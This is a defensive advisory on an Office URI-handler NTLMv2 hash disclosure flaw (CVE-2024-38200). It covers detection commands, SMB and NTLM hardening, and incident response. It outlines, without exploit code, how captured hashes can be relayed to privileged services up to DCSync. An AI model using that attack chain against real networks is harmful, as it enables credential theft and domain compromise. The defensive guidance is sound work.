Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure

Overview

This article describes the Microsoft Office URI-handler NTLMv2 hash disclosure vulnerability (reported as CVE-2024-38200) at a technical and defensive level. The goal is to explain how the issue works, why it matters, how defenders can detect it, and what mitigations and enterprise hardening steps reduce risk. This write-up does not provide exploit step‑by‑step instructions or reproduce working proof‑of‑concept attack code — rather, it focuses on defensive guidance, detection, and safe testing best practices.

Key takeaways

• Certain Microsoft Office URI handlers can fetch remote content. In some configurations this causes automatic NTLM authentication to be attempted to the remote host.
• If an attacker can coerce a victim to open such a URI that resolves to an attacker-controlled endpoint, the victim’s NTLMv2 response may be sent to that endpoint and could be abused by relaying tools to authenticate to other services.
• Main defensive controls: apply vendor patches/updates, restrict automatic credential delegation and NTLM usage, harden DNS/DHCP update permissions, enforce egress filtering (block SMB outbound), enable SMB signing and Kerberos-only controls where feasible, and monitor both network telemetry and Windows security logs for suspicious authentication flows.

Technical background (high level)

Office applications register custom URI schemes so external links or web content can open a document in the appropriate Office app. When a registered scheme instructs Office to fetch a remote file, the operating system can negotiate authentication to that remote host. In environments where Windows treats a hostname as part of the Intranet zone or where NTLM authentication is permitted and allowed to be delegated, an Office client may attempt NTLM authentication to the remote host automatically. That NTLM negotiation transmits values derived from the user’s credentials (an NTLMv2 response) which can be captured by an attacker-controlled listener.

Captured NTLMv2 responses are not plaintext passwords, but under certain conditions they can be relayed to other services (for example SMB or LDAP endpoints that accept NTLM) and abused to authenticate as the target user unless defenses such as SMB signing, extended protection, or Kerberos-only enforcement are in place.

Why this is impactful

• Automatic delegation of credentials to internal or newly resolved hostnames can allow credential exposure with minimal user interaction.
• If an attacker can relay captured NTLMv2 responses to privileged services (for instance a domain controller using susceptible protocols), privilege escalation and persistence (including domain replication / DCSync) are possible in poorly hardened environments.
• Routine enterprise features (Office URI handling, DNS dynamic updates, default NTLM policies) can create an attack surface if not paired with appropriate network and authentication hardening.

Indicators of compromise and detection guidance

Detection should focus on abnormal NTLM authentication flows, outbound SMB/LDAP connections to untrusted hosts, and unexpected Office-based network fetch activity. Below are practical, defensive-oriented detection approaches.

Log sources to monitor

• Windows Security logs (Authentication events like 4624, 4776). Monitor for interactive logons followed quickly by network logons to unexpected hosts.
• Domain Controller audit logs and Directory Services replication/replication-related events (look for anomalous DRS events, replication attempts, or unexpected privileged operations).
• Network perimeter and egress logs — firewall, proxy and web gateway logs should be inspected for HTTP/HTTPS and SMB attempts to non‑standard or external destinations from managed clients.
• Endpoint telemetry (EDR) capturing process ancestry showing Office apps initiating outbound network connections soon after processing browser-sourced content.

Example detection checks

Basic network checks you can run quickly on endpoints and gateways:

# Find active connections to SMB (port 445) on Windows
netstat -ano | findstr ":445 "

This command lists TCP connections involving port 445; unexpected outbound connections from user workstations to internet IPs are suspicious and merit investigation.

# Search recent Windows Security log for successful network logons (example: last 24h)
Get-WinEvent -FilterHashtable @{
  LogName='Security';
  Id=4624;
  StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
  # Event structure varies; filter on LogonType for network (3) or other heuristics
  $_.Properties | Where-Object { $_.Value -match '3|10' }
} | Select-Object TimeCreated, Id, @{Name='Account';Expression={$_.Properties[5].Value}}

This PowerShell snippet provides a starting point to review recent network logons. Tailor field indices and filters to your environment and event log schema.

# Check installed Office Click-to-Run version (safe inventory check)
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Office\ClickToRun\Configuration' -ErrorAction SilentlyContinue |
Select-Object VersionToReport, Platform, UpdateChannel

Use this to discover client Office build numbers and identify devices that may need updates.

Mitigations and hardening (practical steps)

The following defenses reduce the risk of this class of attack. Apply them based on your organization’s testing, risk appetite, and compatibility constraints.

Immediate (operational) mitigations

• Ensure all Office clients and Windows hosts are patched to the most recent supported releases from Microsoft. Vendors regularly address URI/handler and authentication edge cases via updates.
• Block or restrict outbound SMB (TCP 445) and LDAP (where feasible) at egress firewalls. Disallowing SMB to the Internet prevents many relay scenarios.
• Harden DNS update permissions and zone ACLs. Restrict which accounts can create or modify records in critical DNS zones; audit dynamic update flows.
• Use web proxies and gateway devices that inspect and control HTTP/HTTPS traffic; this can help detect or block pages attempting to invoke application URIs.

Authentication and Windows policy hardening

• Restrict NTLM where possible: enable auditing for NTLM and progressively enforce “Restrict NTLM: Incoming/Outgoing” settings in Group Policy to discover dependencies then block or deny where safe.
• Enforce SMB signing on servers and clients to prevent NTLM relay for SMB services.
• Where possible, favor Kerberos-only authentication to internal services. Use constrained delegation (not unconstrained) and enable extended protection for authentication (EPA) on services that support it.
• Deploy Microsoft Defender Credential Guard and other platform protections that make extraction or direct use of credentials more difficult.

Application hardening and control

• Limit which executables and protocols can be launched from browsers or web content using application control (AppLocker, Windows Defender Application Control) or browser security settings.
• Consider blocking or restricting Office URI handlers where business processes allow it (centrally via policy or using endpoint controls).
• Ensure users do not run with unnecessary local admin privileges; consider privilege management solutions to reduce the blast radius of a compromised account.

Recommended detection rules and IDS considerations

IDS/Proxy rules that flag attempts to send Office-initiated URIs or sudden outbound NTLM/SMB negotiations from user endpoints can be valuable. Use heuristics to reduce false positives: look for Office process parentage, originating browser sessions, or newly registered DNS names.

# Example (defensive) pseudo-signature logic for network monitoring
# Trigger when:
# - HTTP traffic contains a pattern that indicates an Office URI launch request OR
# - An endpoint with an active Office process initiates an outbound connection to port 445 or to an IP not seen before
# Action:
# - Generate high-priority alert, capture pcap, and correlate with endpoint telemetry

Do not rely on a single detection mechanism — combine endpoint process telemetry, DNS logs, proxy logs, and the Security event stream for robust coverage.

Incident response and remediation steps (if suspicious activity is detected)

• Isolate affected endpoints from the network and preserve volatile evidence (memory, process lists, current network connections) if appropriate and in accordance with IR playbooks.
• Reset credentials for compromised accounts and/or force Kerberos-only authentication where feasible. Consider resetting machine account secrets if host-level compromise is suspected.
• Check domain controllers for suspicious replication/DCSync attempts and audit for abnormal privileged actions.
• Investigate DNS and DHCP changes and any recently created records that map internal names to unfamiliar IPs.
• Perform a scope and timeline analysis: determine when the initial credential exposure occurred, which systems communicated with the attacker-controlled endpoints, and which privileged operations (if any) were executed.

Safe testing and red‑team / pen-test guidance

If you perform authorized testing or red-team activities, follow strict rules of engagement and avoid carrying out uncontrolled credential capture or relaying in production. Use isolated labs with synthetic accounts and explicit authorization. Document tests, notify relevant stakeholders, and ensure all testing complies with legal and organizational policies.

Responsible disclosure and updates

If you discover vulnerabilities in your environment or in vendor products, follow a responsible disclosure process: notify the vendor (Microsoft for Office/Windows issues), provide clear reproduction steps in a controlled lab, and coordinate on timelines for patching and mitigation. Prioritize patch deployment across your fleet once vendor remediation is available.

References and further reading

Resource	Purpose
Microsoft Security Update Guidance	Official source for patches and mitigations; always consult vendor advisories for the latest remediation details.
NTLM/Relay Mitigation Guidance (Microsoft)	Best practices for restricting NTLM, enabling SMB signing and Kerberos, and configuration guidance.
Network hardening and egress filtering docs	Guidance for blocking outbound SMB/LDAP and secure proxy configuration.

Final notes for defenders

Vulnerabilities that rely on widely used integration points (like application URI handlers) underscore the need for layered defenses: patching, authentication hardening, network egress controls, DNS hardening, and strong telemetry collection. Detection is difficult if only one source of data is used; correlate endpoint, authentication and network signals to identify and mitigate threats quickly.